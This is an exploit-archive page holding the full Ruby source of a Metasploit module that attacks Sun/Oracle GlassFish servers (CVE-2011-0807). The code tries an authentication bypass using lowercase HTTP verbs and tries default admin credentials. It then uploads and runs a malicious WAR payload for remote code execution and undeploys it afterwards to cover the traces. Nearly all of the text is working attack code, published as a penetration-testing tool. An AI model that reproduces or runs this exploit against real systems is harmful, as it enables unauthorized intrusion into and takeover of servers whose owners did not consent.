what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Sun/Oracle GlassFish Server Authenticated Code Execution

Sun/Oracle GlassFish Server Authenticated Code Execution
Posted Aug 4, 2011
Authored by Joshua D. Abraham, sinn3r, juan vazquez | Site metasploit.com

This Metasploit module logs in to an GlassFish Server 3.1 (Open Source or Commercial) instance using a default credential, uploads, and executes commands via deploying a malicious WAR. On Glassfish 2.x, 3.0 and Sun Java System Application Server 9.x this module will try to bypass authentication instead by sending lowercase HTTP verbs.

tags | exploit, java, web
advisories | CVE-2011-0807
SHA-256 | 4035b3ff0884c803d4786b07e2e9bd10c14e0d67c4f6962ff8749b9e5761b58e

Sun/Oracle GlassFish Server Authenticated Code Execution

Change Mirror Download
##
# $Id: glassfish_deployer.rb 13485 2011-08-04 17:36:01Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE

def initialize(info={})
super(update_info(info,
'Name' => "Sun/Oracle GlassFish Server Authenticated Code Execution",
'Description' => %q{
This module logs in to an GlassFish Server 3.1 (Open Source or Commercial)
instance using a default credential, uploads, and executes commands via deploying
a malicious WAR. On Glassfish 2.x, 3.0 and Sun Java System Application Server 9.x
this module will try to bypass authentication instead by sending lowercase HTTP verbs.
},
'License' => MSF_LICENSE,
'Version' => "$Revision: 13485 $",
'Author' =>
[
#Msf module for Glassfish 3.0
'juan vazquez',
#Msf module for Glassfish 3.1, 2.x and Sun Java System Application Server 9.1
'Joshua Abraham <jabra[at]rapid7.com>',
#Rewrite for 3.0, 3.1 (Commercial or Open Source)
'sinn3r',
],
'References' =>
[
['CVE', '2011-0807'],
],
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ],
[
'Java Universal',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java',
},
],
#
# platform specific targets only
#
[
'Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win',
},
],
#
# platform specific targets only
#
[
'Linux Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'linux',
},
],
],
'DisclosureDate' => "Aug 4 2011",
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(4848),
OptString.new('APP_RPORT',[ true, 'The Application interface port', '8080']),
OptString.new('USERNAME', [ false, 'The username to authenticate as','admin' ]),
OptString.new('PASSWORD', [ false, 'The password for the specified username','' ]),
OptString.new('PATH', [ true, "The URI path of the GlassFish Server", '/'])
], self.class)
end

#
# Send GET or POST request, and return the response
#
def send_request(path, method, session='', data=nil, ctype=nil)

headers = {}
headers['Cookie'] = "JSESSIONID=#{session}" if session != ''
headers['Content-Type'] = ctype if ctype != nil
headers['Content-Length'] = data.length if data != nil

res = send_request_raw({
'uri' => path,
'method' => method,
'data' => data,
'headers' => headers,
}, 90)

#'vhost' => "#{datastore['rhost']}:#{datastore['rport']}"
return res
end

#
# Return target
#
def auto_target(session, res, version)
print_status("Attempting to automatically select a target...")

res = query_serverinfo(session,version)
return nil if not res
return nil if not res.body

plat = detect_platform(res.body)
arch = detect_arch(res.body)

# No arch or platform found?
return nil if (not arch or not plat)

# see if we have a match
targets.each do |t|
return t if (t['Platform'] == plat) and (t['Arch'] == arch)
end

# no matching target found
return nil
end

#
# Return platform (win, linux, or osx)
#
def detect_platform(body)
body.each_line do |ln|
ln.chomp!
case ln
when /os\.name = (.*)/
os = $1
case os
when /Windows/
return 'win'
when /Linux/
return 'linux'
when /Mac OS X/
return 'osx'
end
end
end

return 'java'
end

#
# Return ARCH
#
def detect_arch(body)
body.each_line do |ln|
ln.chomp!
case ln
when /os\.arch = (.*)/
ar = $1
case ar
when 'x86', 'i386', 'i686'
return ARCH_X86
when 'x86_64', 'amd64'
return ARCH_X86
end
end
end
end

#
# Return server information
#
def query_serverinfo(session,version)
res = ''

if version == '2.x' or version == '9.x'
path = "/appServer/jvmReport.jsf?instanceName=server&pageTitle=JVM%20Report"
res = send_request(path, @verbs['GET'], session)
else
path = "/common/appServer/jvmReport.jsf?pageTitle=JVM%20Report"
res = send_request(path, @verbs['GET'], session)

if ((not res) or (res.code != 200) or (res.body !~ /Operating System Information/))
path = "/common/appServer/jvmReport.jsf?reportType=summary&instanceName=server"
res = send_request(path, @verbs['GET'], session)
end
end

if (not res) or (res.code != 200)
print_error("Failed: Error requesting #{path}")
return nil
end

return res
end

#
# Return viewstate and entry before deleting a GlassFish application
#
def get_delete_info(session, version, app='')
if version == '2.x' or version == '9.x'
path = '/applications/webApplications.jsf'
res = send_request(path, @verbs['GET'], session)

if (not res) or (res.code != 200)
print_error("Failed (#{res.code.to_s}): Error requesting #{path}")
return nil
end

input_id = "javax.faces.ViewState"
p = /input type="hidden" name="#{input_id}" id="#{input_id}" value="(j_id\d+:j_id\d+)"/
viewstate = res.body.scan(p)[0][0]

entry = nil
p = /<a id="(.*)col1:link" href="\/applications\/webApplicationsEdit.jsf.*appName=(.*)">/
results = res.body.scan(p)

results.each do |hit|
if hit[1] =~ /^#{app}/
entry = hit[0]
entry << "col0:select"
end
end

else
path = '/common/applications/applications.jsf?bare=true'
res = send_request(path, @verbs['GET'], session)

if (not res) or (res.code != 200)
print_error("Failed (#{res.code.to_s}): Error requesting #{path}")
return nil
end

input_id = "javax.faces.ViewState"
p = /input type="hidden" name="#{input_id}" id="#{input_id}" value="(.*)" autocomplete="off"/
viewstate = res.body.scan(p)[0][0]

entry = nil
p = /<a id="(.*)col1:link" href="\/common\/applications\/applicationEdit.jsf.*appName=(.*)">/
results = res.body.scan(p)

results.each do |hit|
if hit[1] =~ /^#{app}/
entry = hit[0]
entry << "col0:select"
end
end
end

if (viewstate.nil?)
print_error("Failed: Error getting ViewState")
return nil
elsif (entry.nil?)
print_error("Failed: Error getting the entry to delete")
end

return viewstate, entry
end

#
# Send an "undeploy" request to Glassfish and remove our backdoor
#
def undeploy(viewstate, session, entry)
#Send undeployment request
data = [
"propertyForm%3AdeployTable%3AtopActionsGroup1%3Afilter_list=",
"&propertyForm%3AdeployTable%3AtopActionsGroup1%3Afilter_submitter=false",
"&#{Rex::Text.uri_encode(entry)}=true",
"&propertyForm%3AhelpKey=ref-applications.html",
"&propertyForm_hidden=propertyForm_hidden",
"&javax.faces.ViewState=#{Rex::Text.uri_encode(viewstate)}",
"&com_sun_webui_util_FocusManager_focusElementId=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1",
"&javax.faces.source=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1",
"&javax.faces.partial.execute=%40all",
"&javax.faces.partial.render=%40all",
"&bare=true",
"&propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1",
"&javax.faces.partial.ajax=true"
].join()

path = '/common/applications/applications.jsf'
ctype = 'application/x-www-form-urlencoded'

res = send_request(path, @verbs['POST'], session, data, ctype)
if (not res)
print_error("Undeployment failed on #{path} - No Response")
else
if res.code < 200 or res.code >= 300
print_error("Undeployment failed on #{path} - #{res.code.to_s}:#{res.message.to_s}")
end
end
end

#
# Return GlassFish's edition (Open Source or Commercial) and version (2.x, 3.0, 3.1, 9.x) and
# banner (ex: Sun Java System Application Server 9.x)
#
def get_version(res)
#Extract banner from response
banner = res.headers['Server']

#Default value for edition and glassfish version
edition = 'Commercial'
version = 'Unknown'

#Set edition (Open Source or Commercial)
p = /(Open Source|Sun GlassFish Enterprise Server|Sun Java System Application Server)/
edition = 'Open Source' if banner =~ p

#Set version. Some GlassFish servers return banner "GlassFish v3".
if banner =~ /(GlassFish Server|Open Source Edition) (\d\.\d)/
version = $2
elsif banner =~ /GlassFish v(\d)/ and (version == 'Unknown' or version.nil?)
version = $1
elsif banner =~ /Sun GlassFish Enterprise Server v2/ and (version.nil? or version == 'Unknown')
version = '2.x'
elsif banner =~ /Sun Java System Application Server 9/ and (version.nil? or version == 'Unknown')
version = '9.x'
end

if version == nil or version == 'Unknown'
print_status("Unsupported version: #{banner}")
end

return edition, version, banner
end

#
# Return the formatted version of the POST data
#
def format_2_x_war(boundary,name,value=nil, war=nil)
data = ''

data << boundary
data << "\r\nContent-Disposition: form-data; name=\"form:title:sheet1:section1:prop1:fileupload\"; "
data << "filename=\"#{name}.war\"\r\nContent-Type: application/octet-stream\r\n\r\n"
data << war
data << "\r\n"

return data
end

#
# Return the formatted version of the POST data
#
def format(boundary,name,value=nil, war=nil)
data = ''

if war
data << boundary
data << "\r\nContent-Disposition: form-data; name=\"form:sheet1:section1:prop1:fileupload\"; "
data << "filename=\"#{name}.war\"\r\nContent-Type: application/octet-stream\r\n\r\n"
data << war
data << "\r\n"
else
data << boundary
data << "\r\nContent-Disposition: form-data; name=\"#{name}\""
data << "\r\n\r\n"
data << "#{value}\r\n"
end

return data
end

#
# Return POST data and data length, based on GlassFish edition
#
def get_upload_data(boundary, version, war, app_base, typefield='', status_checkbox='', start='', viewstate='')
data = ''

if version == '3.0'

uploadParam_name = "form:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam"
uploadparam_data = "form:sheet1:section1:prop1:fileupload"

boundary = "--#{boundary}"

data = [
format(boundary, app_base, nil, war),
format(boundary, uploadParam_name, uploadparam_data),
format(boundary, "form:sheet1:section1:prop1:extension", ".war"),
format(boundary, "form:sheet1:section1:prop1:action", "client"),
format(boundary, typefield, "war"),
format(boundary, "form:war:psection:cxp:ctx", app_base),
format(boundary, "form:war:psection:nameProp:appName", app_base),
format(boundary, "form:war:psection:vsProp:vs", ""),
format(boundary, status_checkbox, "true"),
format(boundary, "form:war:psection:librariesProp:library", ""),
format(boundary, "form:war:psection:descriptionProp:description", ""),
format(boundary, "form_hidden", "form_hidden"),
format(boundary, "javax.faces.ViewState", viewstate),
"#{boundary}--"
].join()
elsif version == '2.x' or version == '9.x'

uploadParam_name = "form:title:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam"
uploadParam_data = "form:title:sheet1:section1:prop1:fileupload"

focusElementId_name = "com_sun_webui_util_FocusManager_focusElementId"
focusElementId_data = 'form:title:topButtons:uploadButton'

boundary = "-----------------------------#{boundary}"

data = [
format_2_x_war(boundary, app_base, nil, war),
format(boundary, "form:title:sheet1:section1:type:appType", "webApp"),
format(boundary, "uploadRdBtn", "client"),
format(boundary, uploadParam_name, uploadParam_data),
format(boundary, "form:title:sheet1:section1:prop1:extension", ".war"),
format(boundary, "form:title:ps:psec:nameProp:appName", app_base),
format(boundary, "form:title:ps:psec:cxp:ctx", app_base),
format(boundary, "form:title:ps:psec:vsp:vs", ""),
format(boundary, status_checkbox, "true"),
format(boundary, "form:title:ps:psec:librariesProp:library", ""),
format(boundary, "form:title:ps:psec:threadpoolProp:threadPool", ""),
format(boundary, "form:title:ps:psec:registryProp:registryType", ""),
format(boundary, "form:title:ps:psec:descriptionProp:description", ""),
format(boundary, "form:helpKey", "uploaddev.html"),
format(boundary, "form_hidden", "form_hidden"),
format(boundary, "javax.faces.ViewState", viewstate),
format(boundary, focusElementId_name, focusElementId_data),
"#{boundary}--"
].join()
else

boundary = "-----------------------------#{boundary}"

#Setup dynamic arguments
num1 = start.to_i
num2 = num1 + 14
num3 = num2 + 2
num4 = num3 + 2
num5 = num4 + 2
num6 = num5 + 2
num7 = num6 + 1

id0 = num4
id1 = num4 + 1
id2 = num4 + 2
id3 = num4 + 3
id4 = num4 + 4
id5 = num4 + 5
id6 = num4 + 6
id7 = num4 + 7
id8 = num4 + 8
id9 = num4 + 9

uploadParam_name = "form:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam"
uploadParam_value = "form:sheet1:section1:prop1:fileupload"

focusElementId_name = "com_sun_webui_util_FocusManager_focusElementId"
focusElementId_data = "form:title2:bottomButtons:uploadButton"

data = [
format(boundary,"uploadRdBtn","client"),
## web service
format(boundary, app_base, nil, war),
## sheet1
format(boundary, uploadParam_name, uploadParam_value),
format(boundary,"form:sheet1:section1:prop1:extension",".war"),
format(boundary,"form:sheet1:section1:prop1:action","client"),
format(boundary,"form:sheet1:sun_propertySheetSection#{num1.to_s}:type:appType","war"),
format(boundary,"form:appClient:psection:nameProp:appName","#{app_base}"),
format(boundary,"form:appClient:psection:descriptionProp:description"),
## war
format(boundary,"form:war:psection:cxp:ctx","#{app_base}"),
format(boundary,"form:war:psection:nameProp:appName","#{app_base}"),
format(boundary,"form:war:psection:vsProp:vs"),
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id1.to_s,"true"),
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id2.to_s,"true"),
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id3.to_s,"true"),
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id4.to_s,"true"),
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id5.to_s,"true"),
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id6.to_s,"true"),
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id7.to_s,"true"),
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id8.to_s,"true"),
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id9.to_s,"true"),
format(boundary,"form:war:psection:librariesProp:library"),
format(boundary,"form:war:psection:descriptionProp:description"),
format(boundary,"form_hidden","form_hidden"),
format(boundary,"javax.faces.ViewState","#{viewstate}"),
format(boundary, focusElementId_name, focusElementId_data)
].join()

item_list_name = "form:targetSection:targetSectionId:addRemoveProp:commonAddRemove_item_list"
item_list_data = "|server|com.sun.webui.jsf.separator|"

item_value_name = "form:targetSection:targetSectionId:addRemoveProp:commonAddRemove_list_value"
item_value_data = "server"

data << format(boundary, item_list_name, item_list_data)
data << format(boundary, item_value_name, item_value_data)
data << "#{boundary}--"
data << "\r\n\r\n"

end

return data
end

#
# Upload our payload, and execute it. This function will also try to automatically
# clean up after itself.
#
def upload_exec(session, app_base, jsp_name, target, war, edition, version)
if version == '2.x' or version == '9.x'
path = "/applications/upload.jsf?appType=webApp"
res = send_request(path, @verbs['GET'], session)

#Obtain some properties
begin
p1 = /id="javax\.faces\.ViewState" value="(j_id\d{1,5}:j_id\d{1,5})"/mi
p2 = /input type="checkbox" id="form:title:ps:psec:enableProp:sun_checkbox\d+" name="(.*)" checked/mi
viewstate = res.body.scan(p1)[0][0]
status_checkbox = res.body.scan(p2)[0][0]
boundary = rand_text_alphanumeric(28)
rescue
print_error("Unable to gather required data for file upload")
return
end
else
path = "/common/applications/uploadFrame.jsf"
res = send_request(path, @verbs['GET'], session)

#Obtain some properties
begin
#start is only for dynamic arguments in POST data
res.body =~ /propertySheetSection(\d{3})/
start = $1
p1 = /"javax\.faces\.ViewState" value="(-?\d+:-?\d+)"/mi
p2 = /select class="MnuStd_sun4" id="form:sheet1:sun_propertySheetSection.*:type:appType" name="(.*)" size/
p3 = /input type="checkbox" id="form:war:psection:enableProp:sun_checkbox.*" name="(.*)" checked/

rnd_text = rand_text_alphanumeric(29)

viewstate = res.body.scan(p1)[0][0]
typefield = res.body.scan(p2)[0][0]
status_checkbox = res.body.scan(p3)[0][0]
boundary = (edition == 'Open Source') ? rnd_text[0,15] : rnd_text
rescue
print_error("Unable to gather required data for file upload")
return
end
end

#Get upload data
if version == '3.0'
ctype = "multipart/form-data; boundary=#{boundary}"
elsif version == '2.x' or version == '9.x'
ctype = "multipart/form-data; boundary=---------------------------#{boundary}"
typefield = ''
start = ''
else
ctype = "multipart/form-data; boundary=---------------------------#{boundary}"
end

post_data = get_upload_data(boundary, version, war, app_base, typefield, status_checkbox, start, viewstate)

#Upload our payload
if version == '2.x' or version == '9.x'
path = '/applications/upload.jsf?form:title:topButtons:uploadButton=%20%20OK%20%20'
else
path = '/common/applications/uploadFrame.jsf?'
path << 'form:title:topButtons:uploadButton=Processing...'
path << '&bare=false'
end
res = send_request(path, @verbs['POST'], session, post_data, ctype)

#Print upload result
if res and res.code == 302
print_status("Successfully uploaded")
else
print_error("Error uploading #{res.code}")
return
end

#Execute our payload using the application interface (no need to use auth bypass technique)
jsp_path = "/" + app_base + "/" + jsp_name + ".jsp"
nclient = Rex::Proto::Http::Client.new(datastore['RHOST'], datastore['APP_RPORT'],
{
'Msf' => framework,
'MsfExploit' => self,
}
)

print_status("Executing #{jsp_path}...")
req = nclient.request_raw({
'uri' => jsp_path,
'method' => 'GET',
})

if (req)
res = nclient.send_recv(req, 90)
else
print_status("Error: #{rhost} did not respond on #{app_rport}.")
end

#Sleep for a bit before cleanup
select(nil, nil, nil, 5)

#Start undeploying
print_status("Getting information to undeploy...")
viewstate, entry = get_delete_info(session, version, app_base)
if (not viewstate)
raise RuntimeError, "Unable to get viewstate"
elsif (not entry)
raise RuntimeError, "Unable to get entry"
end

print_status("Undeploying #{app_base}...")
undeploy(viewstate, session, entry)

print_status("Undeployment complete.")
end

#
# Try to login to Glassfish with a credential, and return the response
#
def try_login(user, pass)
data = "j_username=#{Rex::Text.uri_encode(user.to_s)}&"
data << "j_password=#{Rex::Text.uri_encode(pass.to_s)}&"
data << "loginButton=Login"

path = '/j_security_check'
res = send_request(path, @verbs['POST'], '', data, 'application/x-www-form-urlencoded')

return res
end

def log_success(user,pass)
print_good("#{target_host()} - GlassFish - SUCCESSFUL login for '#{user}' : '#{pass}'")
report_auth_info(
:host => rhost,
:port => rport,
:sname => 'http',
:user => user,
:pass => pass,
:proof => "WEBAPP=\"GlassFish\", VHOST=#{vhost}",
:active => true
)
end

def try_default_glassfish_login(version)
success = false
session = ''
res = ''
if version == '2.x' or version == '9.x'
user = 'admin'
pass = 'adminadmin'

print_status("Trying default credential GlassFish 2.x #{user}:'#{pass}'....")
res = try_login(user,pass)
if res and res.code == 302
session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i)
res = send_request('/applications/upload.jsf', 'GET', session)

p = /<title>Deploy Enterprise Applications\/Modules/
if (res and res.code.to_i == 200 and res.body.match(p) != nil)
success = true
end
end

else
user = 'admin'
pass = ''

print_status("Trying default credential GlassFish 3.x #{user}:'#{pass}'....")
res = try_login(user,pass)
if res and res.code == 302
session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i)
res = send_request('/common/applications/uploadFrame.jsf', 'GET', session)

p = /<title>Deploy Applications or Modules/
if (res and res.code.to_i == 200 and res.body.match(p) != nil)
success = true
end
end
end

if success == true
log_success(user,pass)
else
msg = "#{target_host()} - GlassFish - Failed to authenticate login for '#{user}' : '#{pass}'"
print_error(msg)
end

return success, res, session
end

def try_nondefault_glassfish_login(version,user,pass)

print_status("Trying credential #{user}:'#{pass}'....")
success = false
session = ''

res = try_login(user, pass)
if version == '2.x' or version == '9.x'
if res and res.code == 302
session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i)
res = send_request('/applications/upload.jsf', 'GET', session)

p = /<title>Deploy Enterprise Applications\/Modules/
if (res and res.code.to_i == 200 and res.body.match(p) != nil)
success = true
end
end
else
if res and res.code == 302
session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i)
res = send_request('/common/index.jsf', 'GET', session)

p = /<title>Deploy Applications or Modules/
if (res and res.code.to_i == 200 and res.body.match(p) != nil)
success = true
end
end
end

if success == true
log_success(user,pass)
else
msg = "#{target_host()} - GlassFish - Failed to authenticate login for '#{user}' : '#{pass}'"
print_error(msg)
end

return success, res, session
end


def try_glassfish_auth_bypass(version)
print_status("Trying GlassFish authentication bypass..")
success = false

if version == '2.x' or version == '9.x'
res = send_request('/applications/upload.jsf', 'get')
p = /<title>Deploy Enterprise Applications\/Modules/
if (res and res.code.to_i == 200 and res.body.match(p) != nil)
success = true
end
else
# 3.0
res = send_request('/common/applications/uploadFrame.jsf', 'get')
p = /<title>Deploy Applications or Modules/
if (res and res.code.to_i == 200 and res.body.match(p) != nil)
success = true
end
end

if success == true
print_good("#{target_host} - GlassFish - SUCCESSFUL authentication bypass")
report_auth_info(
:host => rhost,
:port => rport,
:sname => 'http',
:user => '',
:pass => '',
:proof => "WEBAPP=\"GlassFish\", VHOST=#{vhost}",
:active => true
)
else
print_error("#{target_host()} - GlassFish - Failed authentication bypass")
end

return success
end

def target_host
path = datastore['PATH']
target_host = "http://#{rhost.to_s}:#{rport.to_s}/#{path.to_s}"
end

def exploit
user = datastore['USERNAME']
pass = datastore['PASSWORD']
path = datastore['PATH']
target_host = "http://#{rhost.to_s}:#{rport.to_s}/#{path.to_s}"
success = false
session = ''
edition = ''
version = ''

#Invoke index to gather some info
res = send_request('/common/index.jsf', 'GET')

if res.code == 302
res = send_request('/login.jsf', 'GET')
end

#Get GlassFish version
edition, version, banner = get_version(res)
print_status("Glassfish edition: #{banner}")

#Get session
res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /
session = $1

#Set HTTP verbs. lower-case is used to bypass auth on v3.0
@verbs = {
'GET' => (version == '3.0' or version == '2.x' or version == '9.x') ? "get" : 'GET',
'POST' => (version == '3.0' or version == '2.x' or version == '9.x') ? 'post' : 'POST',
}

#auth bypass
if version == '3.0' or version == '2.x' or version == '9.x'
success = try_glassfish_auth_bypass(version)
end

#BUG caused us to skip default cred checks on sun applicaiton server 9.x
if success == false and version != '9.x'
#default credentials
success,res,session_login = try_default_glassfish_login(version)
if success == false
if (
( (version == '2.x' ) and (user != 'admin' and pass != 'adminadmin') ) or
( (version =~ /^3\./) and (user != 'admin' and pass != '') )
)
#non-default login
success,res,session_login = try_nondefault_glassfish_login(version,user,pass)
end
end
end

#Start attacking
if success
session = session_login if (session_login =~ /\w+/)
#Set target
mytarget = target
mytarget = auto_target(session, res, version) if mytarget.name =~ /Automatic/
raise RunTimeError, "Unable to automatically select a target" if (not mytarget)

#Generate payload
p = exploit_regenerate_payload(mytarget.platform, mytarget.arch)

jsp_name = rand_text_alphanumeric(4+rand(32-4))
app_base = rand_text_alphanumeric(4+rand(32-4))

war = p.encoded_war({
:app_name => app_base,
:jsp_name => jsp_name,
:arch => mytarget.arch,
:platform => mytarget.platform
}).to_s

#Upload, execute, cleanup, winning
print_status("Uploading payload...")
res = upload_exec(session, app_base, jsp_name, mytarget, war, edition, version)
else
print_error("#{target_host()} - GlassFish - Failed to authenticate login")
end

end
end
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close